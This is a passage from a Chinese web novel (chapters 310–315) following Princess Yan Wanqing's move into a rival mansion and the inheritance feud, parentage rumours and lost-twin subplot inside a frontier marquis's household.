巧的是,刚好有个府邸在侯府斜对面,是个有名望的落魄乡绅的,府邸比侯府还要大个两倍,倘若不是家中落魄,这府邸估计也不会闲置出来。 燕晚清一看大家都喜欢。 大手一挥。 “买!” 第三百一十章 安平郡主,很有钱? 住的地方搞定了,还缺一些下人。 燕晚清又让从歌去集市上转转,找些个人牙子,或雇或买些丫鬟小厮回来。 从歌不愧是一直跟着燕晚清走南闯北的老手,这方面得心应手,很快便带着人回来了,这些丫鬟小厮手脚麻利,回来之后便开始收拾杂草丛生的院落,相信到了晚上便可以入驻了。 燕凌珍也不闲着,她将自己的那些宝贝草药,早早的找了个自己心怡的房间,当了药房,然后忙的热火朝天开始收拾起来。 沈淑云更是直接当了管家,指挥着丫鬟小厮打扫卫生,然后带了几个人出门采办要用的生活用品,顺便去一趟侯府,将他们几个的行李给收拾出来,带回去。 刚收拾完,门口便传来了脚步声。 沈淑云身边带了人,这回她一点都不慌张了。 “你们这是要去哪儿?”来的是翠织。 她一直都在留意这边的动静。 眼见着人大早上出去,眼下燕晚清没有回来,只回来了个丫鬟,于是赶紧过来问问。 沈淑云指挥着丫鬟收拾着衣服。 “回家啊。” “你们要走了?”翠织眼中闪过一丝惊喜。 倘若燕晚清走了,那么那万金便可以省下来了。 沈淑云瞄了她一眼:“没错。” “郡主连句招呼都不打,便要走了?我们家夫人听见了可是要伤心的,更何况,她与小侯爷身上还有这婚约呢,这……”翠织惆怅的说道:“这可如何是好?” “你着啥急?”沈淑云放下手里的东西,叉腰看着翠织:“都是主子之间的事情,你当丫鬟的这么着急干什么?再说了,我们郡主来了这么些天,你们家夫人除了第一天露了面,后面可就什么表示都没有了,眼下我们要走了,你们夫人应该是最高兴的那个吧。” 她沈淑云也是在光明神教的教会里,见惯了这些阳奉阴违的女子,此时翠织的行为,在她眼里就是假模假样。 跟她玩这些?! 哼! 再想到自己被那柳夫人的丫鬟抽了一顿,侯府夫人就当是什么事情都没有发生一样。 只有燕晚清帮自己讨回了公道,眼下她对这个侯府一丁点好感都没有了! 不等翠织再说。 沈淑云冷着一张俏脸。 “都收拾好了吧?走吧,这么个巴掌大的院子,还没有我们郡主的茅房大呢,真丢人。” 话一字不差的传到了翠织的耳朵里,气得她脸一阵红一阵白的。 “你们真的要走?”她伸出手拦住沈淑云。 “不然呢?留着过年吗?”她可不要留在这里受苦受难了,眼下燕晚清买下更大的一个府邸,她要跟着去享福去。 翠织冷着脸:“可是你们在对门买了个院子干什么?” “我们家郡主有钱,想买哪里就买哪里。”沈淑云推开她的手,没好气的说道,带着人扬长而去。 等到翠织将消息带给乌枕的时候,足足气得她一盏茶没说出一句话来。 过了好半饷,她才放下手里的佛珠。 “……燕晚清很有钱?” 翠织:“……”主子的关注点实在是奇特。 “当真买下了之前郝员外的那个府邸了?”郝员外的府邸,当初花了重金,五湖四海找了好些个风水师,又花费了好些钱财,最终才有了现在这个府邸的模样。 郝员外出事之后,她也是眼馋那个府邸。 可奈何实在是实力不够。 那府邸少说也得有万金啊。 燕晚清竟然眼皮都不眨就买下来了。 “奴婢查了一下,是的,一次性就结清了。”翠织说道。 乌枕紧皱眉头:“她一个京都都混不下去的人,怎么能有这么多的银钱呢?” 想不明白。 翠织也想不明白。 那么多钱,一次性就结清了,只是几个人的行李都很单薄,钱究竟是放在哪里了? 乌枕心里很不是滋味:“你说这件事情,我是不是做错了?” 翠织深知乌枕的个性,她根本不敢发表自己的意见,于是她说道:“奴婢不知,只是眼下这件事情二房肯定也知道了,他们可能会做点什么。” “二房能做什么?哼!”乌枕冷哼一声:“那燕晚清再怎么说也是怀玉未过门的妻子,和二房有什么关系。” 翠织将头低了低:“听说二爷带着怀辛过去了。” 怀辛是二房的嫡长子,这些年侧室一堆,只是这正妻的位置一直没有定下来。 二爷怀民心高气傲,一直想要找个门第高的贵女当儿媳妇,只是北疆就这么大,贵女屈指可数,他看上的,人家看不上他,剩下的便都是他看不上的了。 乌枕听到这个,脸一下子就冷了下来:“去收拾一下,准备些礼物,我们现在过去看看。” 怀民的小心思,她这个当大嫂的,打过这么多年的交道,一下子就明白了。 这是想要替怀辛那个扶不上道的东西去燕晚清面前露露脸啊。 她倒要去看看,这个二房的脸究竟能有多厚! …… 此时郝员外的府邸还在热火朝天的打扫卫生,燕晚清坐在刚刚收拾出来的前厅会客。 看着客厅中间放着的一堆箱子,她不动声色的抿了一口茶水:“二爷您这是?” 怀民是个发了福的中年男子,看起来和蔼和亲,只不过眼中总是一闪而过的精光暴露了他是个不简单的人。 只见他笑着说道:“今日刚刚回府,本想去拜访一下郡主,谁知道就听说了这件事情,只能赶紧让人准备些礼物,恭贺郡主乔迁之喜。” “还请郡主莫怪,我那大嫂一根筋,这些年也就怀玉一个儿子,所以不免看的有些紧了,对于未来的儿媳自然是有些苛刻严厉,我这个当小叔子的,现在给您赔礼道歉了。” 一番话,充满了市侩之气。 燕晚清听完微微挑眉:“二爷严重了,本郡主是觉得还没有过门,住在一个屋檐之下多有不妥,这才搬出来住的。” “听说郡主是直接买下了郝员外的府邸?”旁边一直想要找机会说话的怀辛突然开口。 他的模样与怀玉有几分相似,但是更多的是像父亲怀民,体型微胖,很白,是个圆润的公子哥,眼底都是青紫色,说明此人放浪形骸,年纪轻轻,身体已经开始亏空了。 他第一眼看见燕晚清便惊为天人,恨不得口水都溜下来。 实在是太美了! 美的惊心动魄,说是天仙下凡也不为过,尤其是那一双黑白分明的桃花眸,落在自己身上的时候,怀辛感觉自己的魂都要飘起来了。 燕晚清淡淡的嗯了一声。 怀辛忍不住激动:“郡主真是大手笔,这可是我们北疆最富贵最气派的一处府邸了。” 燕晚清坐在上位,红唇微勾,看到门口屹立的一处阴影,她故意说道:“从京城出来,手里还有点闲钱,既然要跟怀玉成婚,本郡主也是要有一份丰厚的嫁妆,这府邸日后便是其中之一。” 怀辛听完,眼里闪过嫉妒。 这么美丽又身份高贵的郡主,还有这处富丽堂皇的府邸,往后竟然都要是怀玉那个该死的贱种的了。 这叫他如何咽的下去这口气。 怀辛听得心里也很不是滋味。 这要是他们二房的该多好啊…… 只不过现在还没有成婚,一切还来得及。 怀辛眼里闪过了算计。 此时在门口听了一会儿的乌枕,心里别提多得意了。 第三百一十一章 二房造谣,怀玉非嫡系所出 这说到底,燕晚清还是非怀玉不嫁的,二房今日这一出真是丢死个人。 乌枕站在门外,用帕子捂着唇得意地笑。 下一秒,屋内的燕晚清传来了一声叹息。 “只是本郡主没有想到,千里迢迢的来到北疆,竟然会遇到这样的事情……侯府夫人不喜本郡主,这桩婚事可能,哎……” 二房一听这话。 有戏。 那乌枕以为安平郡主是被京都驱逐出来的,以为人家是落魄郡主,所以想悔婚,给人家使绊子,各种冷处理,但是没想到人家竟然家财万贯,很有实力! 眼下郡主起了悔婚的心思,估计乌枕肠子都要悔青了。 “这可是先皇赐婚,郡主若是反悔,怕是会被世人诟病啊。”二爷思前想后的缓缓说道。 燕晚清面露难色:“本郡主何尝不知,只是这还没进门,就闹成了这样,本郡主担心往后这过了门,怕是要被经常拿乔了。” 二爷同样叹气,但是他身子超前探了探,很是积极的说道:“我那大嫂没见过什么大世面,确实比较难以相与,和我们二房之间也是经常有些摩擦,大家都念在她是大哥遗孀让着,可是没有想到眼下竟然让郡主为了难……镇国公乃是世间一等一的大将军,功臣,若是被他知道郡主在北疆受到了委屈……哎,这真是陷入了两难的境地啊。” 那怀辛收到了自己父亲的眼神,心里异常激动,但是他不会说话,言多必失,到时候让郡主不喜欢自己了,那才是真的没戏了。 “郡主有所不知,今日回府听说了府中发生的事情,老夫已经严惩了那耳根子软的柳氏,她也是听到了一些府内传出来的不好的言论,才会那般针对郡主,老夫对内管教不严,还请郡主恕罪啊。”二爷已经是老泪纵横了,说着还要拜到地上去。 燕晚清还没吭声呢,怀辛已经上前扶住了自己的父亲。 “父亲,郡主明事理一定不会跟我们计较的,这件事罪魁祸首说到底还是那边……” “你闭嘴!郡主面前休要胡言乱语!”二爷赶紧斥责道。 怀辛面上不平,最终还是咽了下去心里的话。 这出戏燕晚清看的津津有味,就是不知道门外的人看的如何。 要说这外面的人也真能忍,都到这种程度了,还能站在外面听墙角,属实有点忍耐的功力。 这要是放在她们家小六的身上,第一个字估计人就炸的上前直接泼毒药了。 乌枕在门外听得脸色铁青。 平日里怀玉和二房那边有纠纷,她总是为了家族和谐,只是责怪怀玉,却没有想到这危急关头,二房的人竟然想要直接翘掉燕晚清这尊大佛! 想要让怀辛与郡主成婚,从而爬到大房的头上! 哼!真是好算计啊! 一直以来她真是忽略了自己小叔子的心计! 乌枕气得双手颤抖,但是她还是想忍一忍,看看燕晚清怎么说。 可是还没有等到燕晚清开口,那怀辛却突然走到燕晚清面前跪下说道:“安平郡主有所不知,大房那边还有个秘辛,据说怀玉根本就不是我大伯所出—— “混账东西!郡主面前岂敢胡说八道!”二爷上前一脚将自己的儿子踹到了边上,诚惶诚恐的跪下:“郡主莫怪,这混账今日来的时候吃了酒,口不择言。” “父亲究竟想要瞒到什么时候?!”怀辛满脸不服,义正严词的开口:“难道要眼睁睁的看到郡主跳进火坑中吗?!到时候就晚了!” “……火坑?”燕晚清强忍住笑意,一脸震惊,面色发白的开口:“倘若怀玉不是北疆侯爷所出,可是他为何又会世袭到小侯爷的位置,你们说话可有依据?!” “自然是有的!”怀辛坚定的说道。 “你倒是拿出来怀玉不是老爷所出的证据,给本夫人看看!”乌枕再也忍不了,抬脚跨过台阶,满脸铁青的看着怀辛还有二爷。 怀辛一看见乌枕过来了,白胖的脸上都是震惊:“大伯母!” “别喊我大伯母!有你这样的晚辈,真不知道是我前辈子造了多少孽!”乌枕有自己身为名门的修养,不然早就指着这对离谱的父子破口大骂了。 带着怀辛在安平郡主面前献殷勤,将柳夫人做的事情一窝蜂全部污蔑到了大方身上,眼下又造谣怀玉不是侯爷所出,桩桩件件,都足以让乌枕难以接受,她甚至有过片刻动了杀心。 “嫂子,小孩子家家胡说八道的,你看我不是制止了吗?他今日吃了酒,估计又是酒桌上听人胡言乱语的,你别放在心上,他还年轻不懂事呢。”二爷面带歉意的对着乌枕说道。 好一个年轻不懂事。 “他比怀玉才小一个月,这叫年轻不懂事?我家怀玉早已经是侯府的顶梁柱了,怀辛现在还跟狐朋狗友喝酒,眼下还当着安平郡主胡说八道,你可知道他说的这些话,是诛九族的大罪!” 怀玉世袭小侯爷,那可是要报到京都的,由皇帝亲自审批,那可是盖了玉玺的! 眼下怀辛一句话,关乎到是否欺君! 哪怕查出来怀玉是侯爷的孩子,整个北疆也跟着动荡几下,一套流程下来,不死也得脱层皮! 所以乌枕才会这般气愤,她觉得二房根本没有把侯府的安危放在心上,眼里只有自己的荣辱。 “这件事情哪有这么严重啊。”二爷眯着眼睛,看着乌枕似乎是在警告:“大嫂可不要吓坏小孩子,这还当着郡主的面呢,咱们有事情还是回家再说吧。” 燕晚清坐在旁边,一脸无辜的眨巴着自己的桃花眼:“倘若怀玉不是侯爷所出,那么这桩婚事自然是不能成的。” 乌枕这回真的心急了。 “郡主切莫听信他们谗言啊,怀玉怎么可能不是侯爷所出呢?这样您跟我回府,府中有侯爷在世时所画的画像,一看便知真假。” 眼下她只想快速证明怀玉确实是大方嫡出,之前对于燕晚清的抵触已经消失的无影无踪了。 可是燕晚清却轻轻的笑道:“还是不了吧,侯府太大了,本郡主住不习惯,就不去了,您若是方便的话,差人回去取了过来,靠的也近,很快的。” 这话一听,乌枕的面色都变成了灰白色。 第三百一十二章 硬碰硬,谁以卵击石 乌枕原本以为燕晚清若是心怡怀玉,至少不会自己这个未来的公婆如此态度,在二房面前终究还是要给自己一点面子的。 可是她想错了。 燕晚清不但没给面子,还当场将里子给拆了。 “你说什么?”乌枕不敢置信的看着她。 燕晚清温温柔柔的笑道:“侯府夫人没有听清楚么?从歌,再传达一遍本郡主刚刚说的话。” 她可从来不说第二遍。 从歌一字一句的将燕晚清刚刚的话重复了一遍,末了又说了一句:“先皇在世的时候,对我们郡主是极其的宠爱,哪怕是面见圣上都是直接免了郡主的跪拜礼的,在京都,郡主的身份甚至要比公主们还要高一点,这次北疆实在是太不像话了!” 她是镇国府里专门为嫡小姐培养的大丫鬟,自小吃穿用度,礼仪气质那都是按照最高的标准去执行的,说是贵女都有信,又跟着燕晚清见惯了世面,此时冷着眼说出这些话的时候,周身竟然带着一股子气压,直逼那乌枕。 可乌枕毕竟是老侯爷名门正娶的侯府夫人,这些年侯府内外,对她无一不顺从,此时看见从歌竟然这般说话,当下有些恼怒起来。 “你是个什么东西,本夫人与郡主说话,轮得到你来插嘴么!” 这话一出来,燕晚清的眼眸冷了冷:“您这是在教训本郡主的人?” 从歌跟着她这么多年,风里来雨里去,早就不是一般的奴婢,这乌枕好大的胆子! “不过是个奴婢,郡主就这般纵容她与本夫人说话?郡主可别忘了,您和怀玉还有婚约在身。”乌枕眯着眼睛威胁道。 燕晚清笑了。 只是还不等她说话,旁边的二爷立刻见缝插针:“大嫂莫不是昏了头,以为自己在和谁说话?!可不要仗着这个婚约,就以下犯上啊,这可是先皇亲封的郡主!” 这乌枕自己想死可不要带着他们二房! 燕晚清是谁? 在京都那可是连皇帝都敢呛的人,一身白衣敲击登闻鼓,直接让七皇子吃瘪,据说皇帝驾崩的那天,朝堂之上也有她的身影……外面传闻说是被驱逐出来的,可是真相如何,谁知道呢? 怀民是个生意人,对于这些信息最为敏感,他刚进门的时候,就觉得这个看起来人畜无害的郡主十分不简单。 乌枕这种硬碰硬的方式,无疑是以卵击石。 “大嫂,你可要慎言呐。” 听着二房的人在自己的耳边劝诫,乌枕已经气得浑身颤抖了。 身后的翠织立刻上前扶住了她摇摇欲坠的身躯,恰到时机的开口:“夫人,咱们给郡主准备了一些礼物,您是不是忘记让人送进来了。” 此番话后,客厅内的气氛稍微得到了缓解。 二爷一听乌枕也准备了礼物,暗地里冷哼了一声。 人是你赶走的,现在又眼巴巴的准备礼物。 他这个大嫂,真是有意思,不知道当初大哥是怎么瞎了眼看了上了她的。 “翠织,你让他们抬进来吧。”乌枕收拾好情绪,面上又挂上了淡淡的笑意,看向了燕晚清:“之前身子不爽利,招待不周,怠慢了郡主,侯府上下对此十分后悔,今日准备了薄礼一份,还望郡主海涵。” 那一箱箱的礼物被送到了客厅里,很快便将二房准备的东西给盖了下去。 燕晚清勾着红唇,捧着杯盏,一言不发的看着。 北疆的人做事,到底是不如京都周全。 这要是放到京都,先兵后礼那可是寸步难行。 眼下乌枕这么一搞,她真是有些好奇,她这样的人,是怎么养出怀玉那般通透的人物的。 “夫人忧心了,看在怀玉的面子上,本郡主也不会斤斤计较的。” 她见好就收,不能现在把乌枕逼急了。 乌枕见燕晚清这样说话,心里松了一口气,只是临走的时候,恶狠狠的瞪了那怀民和怀辛一眼。 就等着他们回府之后再算账。 “那郡主留步,老夫也退了。”二爷笑呵呵的看着燕晚清说道。 燕晚清抬眼看从歌:“从歌,去送送二爷他们。” 临走的时候,那怀辛的眼神还一直在燕晚清身上打转,就像是一头充满油脂的猪,让人恶心。 一直到所有人都出了门。 红雾才出现在了燕晚清身后,她阴森森的开口。 “真想把这货的眼睛挖出来,胆敢这般看着主子!” 燕晚清表情很淡,看不清楚什么情绪:“再等等。” “那个夫人身边的丫鬟很眼熟。”红雾想起来一件事:“很像是去风雨楼找我们下单的人。” “嗯。”燕晚清点了点头,将茶杯放在了手边上的桌子上。 “主子一点也不奇怪吗?”红雾有些不理解,这未来的婆婆派人取她项上人头,说到哪里都是一件极其惊悚的事情啊。 燕晚清莞尔:“不奇怪,因为我早就猜到了,整个北疆能与我有关联的无非就是这侯府,那乌夫人不过就是觉得此时我的身份敏感,又担心我坏了他们侯府的泼天富贵,这才想要杀了一了百了。” “只是她没有想到主子竟然这般不简单,属下查到了她的一些往事,这位侯府夫人手上可一点都不干净,老侯爷在世的时候就沾染了不少血腥,老侯爷离世之后,那些姨娘更是无一幸存。”红雾想到乌枕的一些手段,她自己都脊梁骨发凉。 北疆真是一个不能多待的地方。 “这样看来,今日这个乌夫人在本郡主面前还是故意露拙了。”能无声无息解决那么多姨娘的人,怎么可能会是一个这般喜怒于形色的人呢? 燕晚清眼眸深了些许。 “这件事情不急,你和否极再去外面散播一些谣言,就说本郡主手里有一座金矿。” 红雾低下头:“诺。” “本郡主倒要看看,这北疆的水究竟能有多深!” 侯府。 祠堂内。 乌枕手执长棍站在怀民的面前,她面无表情的看着他:“今日之事,我想你需要给我一个交代。” 怀民站的笔直,肥胖的身躯满是不屑:“大嫂,没必要这般大张旗鼓吧?这点事情值得你将各位长老都请过来么?” 祠堂内,站着四位白发苍苍的老者,他们站成一排,一声不吭看着大房和二房之间的起争执。 乌枕见怀民这般不要脸,冷笑一声:“别以为我不知道你让怀辛去郡主面前露脸安的什么心,婚约可是先皇定下的,你安敢造次!” 怀民负手站立:“大嫂此言差矣,先皇只下令郡主下嫁北疆侯,谁能知道这怀玉还能当多久的侯爷呢?听说,前些时日,怀玉谈的玉石生意,让侯府亏损了不少。” “各位长老都听见了吧,二房对怀玉的位置虎视眈眈,如此心怀不轨者,我乌枕请求各位长老做个见证,将其逐出族谱!永不许他们二房再进族谱!” 怀民一听,原本还乐呵呵的脸色瞬间阴沉下来:“乌枕你敢!你以为你是个什么东西!” 第三百一十三章 龙凤胎,再起冲突 怀民直呼乌枕性命,直接让她眼中涌现出杀意。 “目无尊长的东西!你安敢这般对待大嫂,若是你大哥九泉之下有知,定会找你算账!” 怀民闻言,丝毫不畏惧,竟然还冷笑了两声。 “我大哥若是泉下有知,第一件事情便是带你这个毒妇下地狱!整个侯府被你搞的乌烟瘴气,你竟然还有脸提我大哥?当年要不是你非要给你该死的弟弟填补窟窿,我大哥至于最后不治身亡吗?!乌枕,所有人都有资格提我大哥,唯独你不配!” 说起当年的事情,怀民满是怒火。 就连四个长老看着乌枕的面容也带着一丝审视。 乌枕超后踉跄了一步,她掐着自己的双手强忍住:“你还好意思说,要不是你在外面乱搞,欠了外债,搞的府内鸡犬不宁,让侯爷殚精竭虑,他也不会受那种苦!” 这些也是事实。 “我那是为了侯府开辟新的产业链,你呢?你们乌家就是个无底洞,大哥在的时候你就不断的从府中拿钱出去补贴你的娘家,以至于后来真正需要用钱的时候,家底都给你拿光了!如果不是你,当年那批生意也不会资金链断开,我大哥也不会铤而走险,说到底,乌枕你才是害死我大哥的罪魁祸首!”怀民双眼猩红。 当年他好不容易谈拢了一批矿石的生意。 本以为能够带着家族直接平步青云,可是谁曾想回家取银两的时候,家底亏空,一查,竟然发现全都被乌枕拿着补贴给了她那个风花雪月的弟弟乌穹。 他大哥这才会动了歪心思,想要在蛊毒上面控制那矿石的老板。 谁知道那老板身边有更恐怖的存在,最后导致蛊毒反噬,一代北疆侯府的侯爷,不治身亡。 如果不是大哥临终前摁着他的头发誓不会动乌枕和乌家,他早就让他们全部去下面陪大哥了。 乌枕面色苍白,她咬住唇瓣:“你怎么能说出这种话?这么多年,我一直都在苦心经营着侯府,你们吃穿用度大手大脚,可曾想过这些钱哪里来的?我是补贴了娘家,可是我那弟弟也有拿钱帮助我这个姐姐啊!倒是你们二房,只出不进,还在背后给怀玉使绊子,导致她玉石生意差点失败,这些,人在做天在看!” “既然都说开了,我也没有什么好怕的,乌枕,你嫁给我大哥的时候就不干不净,生下来的明明是龙凤胎,你毁了一趟娘家就说丢了,谁知道你是不是将另外一个送给你的老情人抚养了!”怀民面色阴冷:“四位长老,这些事情你们也都知晓,眼下怀玉未必是我大哥的孩子,可是我家的怀辛你们是看着长大的,他一定是我们怀家的子嗣!” “你为了夺走这桩婚事,竟然公然污蔑你的大哥,狼子野心!长老们,这种人可不能留在我们侯府上啊!”乌枕同样不甘示弱的说道。 公说公有理婆说婆有理。 四位长老面面相觑,最终还是一个长胡子的老者叹了一口气,站了出来。 “你们说的这些,都是陈年往事,两个孩子都挺好的,倒是你们两个大人越活越没出息,整日争斗,闹得府邸鸡犬不宁。”他看着乌枕道:“这些年你掌管侯府确实是不易,只是二房说的也有道理,你确实不擅长经营之道。” “就是!”怀民跟着起劲。 那长老看向怀民:“你也不要无事生非,怀玉和你大哥几乎是一个模子刻出来的,你还非要污蔑他并非你大哥亲生,实在是不像话,至于那个丢了的孩子……其实这些年我们一直都在寻找,眼下已经有了消息。” 乌枕愣住。 “您说什么?” 她当年回了一趟娘家,路上遭遇了劫匪,刚出生的龙凤胎,最后只留下了一个怀玉。 不得已,她只能说丢失的是妹妹。 然后让怀玉冒充哥哥,当了这些年的小侯爷。 可是眼下长老竟然说那个孩子有消息了。 “……您说的当真?那个孩子真的有消息了?”乌枕手脚冰凉,她第一反应不是高兴,而是害怕。 她害怕那个孩子找到之后,发现怀玉其实是女子的事情。 长老点点头:“我们的人查到他最近也会出现在北疆,所以已经加派人手,密切留意和怀玉相似的女子了。” “这是一件好事啊夫人。”翠织在旁边提醒着乌枕。 乌枕立刻掩面哭泣:“我那可怜的孩子,终于要见到他了,当娘亲的实在是太高兴了。” 怀民站在一旁冷眼看着她做作的表演。 当年的事情本身就有猫腻。 刚刚观察到乌枕的反应,她分明就不是高兴! 可能这是他抓住大方把柄的一个机会。 怀民心中暗暗记下,待会儿回去,就让人加派人手先一步把那个孩子控制起来。 届时再来和乌枕这个恶毒的女人谈条件。 只要控制住乌枕,不信怀玉那个小兔崽子不听话。 届时整个侯府还不是他们二房这边说了算。 怀民掩盖住眼里的光芒,原本争锋相对恨不得弄死对方而后快的人,因为这个突如其来的消息,此时都静默了。 乌枕已经彻底没有了心思,她现在只想赶紧回去,好好想想对策。 长胡子长老见他们已经不再争吵,于是说道:“这样才对,家和万事兴,老侯爷若是在世,也不想看见你们吵成这个样子。” “长老说的是。”怀民率先开口说道:“刚刚我有些心急了,给大嫂道个歉,还望大嫂大人不记小人过。” 乌枕看着他眼里的精光,后槽牙都要咬掉。 可是眼下,长老劝和,她不能不给长老面子,只能说道:“小叔子这说的是什么话,一家人打打闹闹都是常事,往后管好自己便是。” “大嫂教训的是。”怀民低头称是。 该死的贱人,迟早有你好受的。 乌枕看着他,面上带笑,可是眼底依旧厌恶。 以前是她手下留情了,郡主这件事情之后,她绝对不会再心慈手软了。 怀民不是想要自己的儿子和燕晚清结亲么?她倒要看看,燕晚清一旦知道怀辛是个什么德行,还会不会看上他! 大方和二房不欢而散,各自离开了。 四个长老站在祠堂。 长胡子长老负手而立:“那个孩子,我们要在他们之前找到,不然侯府怕是要保不住了。” 第三百一十四章 认祖归宗,只怕会万劫不复 侯府大房和二房的积怨由来已久。 二爷怀民觉得自家大哥瞎了眼,娶了一个只会拿钱倒贴娘家的女人。 大嫂乌枕则是觉得侯府上下都挺好,就是有个眼高手低的小叔子,看起来极其的碍眼不舒服。 这回两个人又因为安平郡主的事情,急头白脸的吵到了祠堂长老面前,最终依旧是不欢而散,府里的人都已经习惯了,只是尽可能这几天不去这两位面前,免得怒火烧到自己的身上来。 只是相比一回院子便噼里啪啦一通乱砸的侯府夫人,二房这边要安静了很,只剩下柳夫人被休弃不愿意离开的嘤嘤哭泣声。 “老爷,这么多年过去了,一日夫妻百日恩啊,您当真要这般绝情么?”柳夫人跪在怀民的书房外面哭泣道。 书房内,二爷和自己的儿子怀辛商量完和郡主相关的事情,怀辛听着外面的哭声,眼神里都是讽刺。 “父亲不管管?” 二爷翻开账本,算盘打的噼里啪啦的作响:“是她自己非要作,闹成现在这个样子,难不成指望为父放弃安平郡主?” 那必不可能。 怀辛对燕晚清十分满意,身份尊贵,长得又跟天仙似的,说话也好听,有权有势还有颜,每个都在他的点上。 若是能够真的娶到了这样的女子,他就再也不去那些花街柳巷了。 “既然父亲不管的话,那儿子代劳吧。”怀辛一向知道父亲对于女人的狠心程度,于是他退出了书房,将门关上了。 柳夫人一看见怀辛出来,超前爬了两步:“少爷!老爷呢?老爷可同意见妾身?” 怀辛站在了她的面前,居高临下,圆润和善的面庞上有了一丝阴翳。 “识相点,就自己走,别逼本少爷动手。” 柳夫人涕泗横流:“少爷,求您了,帮妾身跟老爷说说情,不要赶妾身出去,这么多年过去了,妾身对您也是可以的吧,你母亲去世得早,一直都是妾身照顾你,也算的上你半个娘亲——” “啪!”清脆的巴掌声。 怀辛面色狰狞,他弯下腰毫不犹豫的给了柳夫人一巴掌,然后狠狠的拽着她的头发,压低声音说道:“不过是个贱婢,你也配当本少爷的娘亲,不管再过多少年都一样,奴就是奴,永远不要肖想能够有一天翻身当主子!” 他拽着她的头,用力甩了出去,柳夫人在泥泞的地面上滚了一圈,周身都沾满了泥巴,眼神里透露出了恐惧。 “滚!”怀辛站起身,抬起脚对着她又狠狠的来了一脚。 “要不是你这个蠢婢在郡主面前丢了我们二房的脸面,我和父亲至于在人家面前跟孙子一样吗?!你还敢要求留下,码的,信不信老子弄死你!” “碍眼的东西!本少爷要是待会儿还在府上看见你,你就等死吧!” 丢下这句话,怀辛头也不回的离开。 柳夫人伸出手摸了一下自己的头,一缕青丝赫然出现在了自己的掌心里。 看着那被狠拽下来的发丝,柳夫人默不作声的流出了泪水。 十二年的夫妻,或许是她自己以为的夫妻。 到头来在这对父子的眼里,竟然屁都不是。 柳夫人默默地攥紧掌心里的发丝,然后起身头也不回的朝着院外而去。 …… 燕晚清有个金矿的消息就像是插了翅膀一样,很快便传遍了整个北疆。 这期间她的府邸大门都要给一群慕名拜访别有用心的人给踏破了。 一开始燕凌珍还能用凑热闹的心态,将这群人放进来玩玩。 可是时间一长,她也玩累了,后面就直接闭门谢客,任凭每天大门口都水泄不通的堵着一群拿着拜礼的人,她们姐妹几个一如既往走小门出去遛弯。 “上次坑我的那几个商人,铺子被人收了。”怀玉和燕晚清坐在茶楼里,状似不经意的提起。 燕晚清勾了勾红唇没说话,将手里的杯盏放在了桌子上。 怀玉心中暖了暖:“谢谢。”她由衷的感谢这个会替自己出手的姐妹。 “那你给我磕一个。” 怀玉:“……你滚!”真是好嘴说不出好话来。 原本还温馨的气氛被她破坏的七七八八。 “真凶。”燕晚清西子捧心:“未来的夫君真的好凶,我好喜欢啊。” “燕晚清你皮痒了是吧!”怀玉恨不得把自己杯盏里的茶水直接泼她脸上。 之前在京都的时候,她一言不发恨不得当个哑巴,怎么出了京都之后,整个人就像是打开了什么开关,洒脱到了极致。 怀玉这几天被她搞的心态都有些炸裂。 “你再胡说八道,往后我都不与你出来了。”怀玉见她笑的花枝乱颤,脖子都气红了。 眼见着怀玉是真的急了,燕晚清才擦了擦眼角的泪水,收住了笑意,开始一本正经:“好了好了,打住,今日喊你过来是有正事的。” “你说吧。”怀玉松了一口气。 说到正事上面,燕晚清眼里都是正色:“前些时日你拜托我查的事情有了眉目。” “你的意思是,有了我兄长的消息?”怀玉心中一惊,那个一出生没多久就丢了的龙凤胎哥哥,时隔这么多年,竟然真的出现了! 燕晚清点点头,眼里有一丝冷意:“只不过事情有些棘手,他现在是光明神教的教徒,甚至参与了好几次屠杀。” “倘若真的将其认祖归宗,只怕你苦心经营的侯府,将会万劫不复。” 怀玉紧蹙眉头:“……他,他怎么会……” 本以为会是一场久别重逢的喜悦团圆。 可是面对的却是这样一个情况,怀玉愣住了。 她眉头紧了又松,松了又紧,整个人都好似被一层冰冷的雾气包裹在其中,眼看着就要窒息。 燕晚清实在是看不下去了。 “我争取在其他人找到他之前,将你哥哥带到你的面前。”到时候要如何,就看怀玉自己的选择了。 怀玉点了点头,她满眼感激:“这件事情多亏有你,母亲这些时日一直因为哥哥的事情茶饭不思,若是能比长老还有二房那边先找到的话,那么母亲就会开心一点了。” 燕晚清忍不住想要翻白眼。 怀玉的那个母亲,她实在是看不上眼。 典型的最毒妇人心。 不过当着怀玉的面,她这个做朋友的可不会胡说八道,于是燕晚清点头笑了笑:“都是朋友,说这些做什么。” 第三百一十五章 老人都不放过,吃相难看 可燕晚清没说,她觉得这件事情十分蹊跷。 偏偏就在这个节骨眼上,这个消失了十八年的双胞胎哥哥出现了。 怎么都感觉里面有一丝阴谋的味道。 看着怀玉高兴的样子,燕晚清最终还是将肚子里的猜疑全部吞了下去,眼下她在北疆,就绝不会让任何人伤害到怀玉。 她倒要看看,这些牛鬼蛇神,究竟还能使出什么肮脏下作的手段。 “你今日不急着回去么?”燕晚清问道。 怀玉露出一抹苦笑:“听说是来见你的,恨不得我不回去才好。” “真实。”乌枕真是人间真实。 “你已经在这茶楼坐了一下午了,不打算去别的地方逛逛?” 燕晚清摇了摇头,眯着眼睛看着对接的那家裁缝铺:“再等等。” “你在等谁?”怀玉也是聪明人。 “我府上那个叫沈淑云的丫头,你还有印象么?”燕晚清托着香腮,轻轻说道:“狐狸尾巴终于藏不住了。” 怀玉挑眉,她靠近窗边,顺着燕晚清的目光看向那个裁缝铺,依稀能够看见里面站着一个身着鹅黄色长裙的女子,身上打扮穿着都显然和贵族小姐有的一拼了。 她勾了勾唇:“她身上都是你的首饰?” “那倒不至于,不过有几样你应该认识才对,那对珠钗是你母亲送的。”燕晚清轻哼,眼里闪过一丝冷意:“让她去整理,没想到整理到自己的身上了。” 不过这些首饰她也就出门的时候敢带着臭美,回到府上就摘的干干净净了。 沈淑云拿着一件衣服,正在跟裁缝说要如何修理,二人说着说着便朝里屋走去了,走之前沈淑云还朝着门口的方向张望了两下。 二人走的很快,以至于连那件要修改的衣服都放在了桌子上忘记拿走。 “好生拙劣的障眼法。”怀玉咋舌:“我们下去。” “不去。”外面下着小雨,道路上泥泞,燕晚清一点都不想沾湿自己的鞋子。 “你就不好奇她到底见谁了?”怀玉愣住:“我的好郡主,你人都在对面了,一条街道的功夫,你不愿意过去?!” 燕晚清认真的摇了摇头。 “反正红雾和否极会查清楚,我为什么要自己去看?”她总得给自己的手下一点事情做,不然红雾他们老抱怨自己什么都干了,他们没事干。 燕晚清最近一直在冷静的反思自己。 要如何当一个让下属满意的上司。 怀玉对她的话语大为震撼,很没有道理的很有道理。 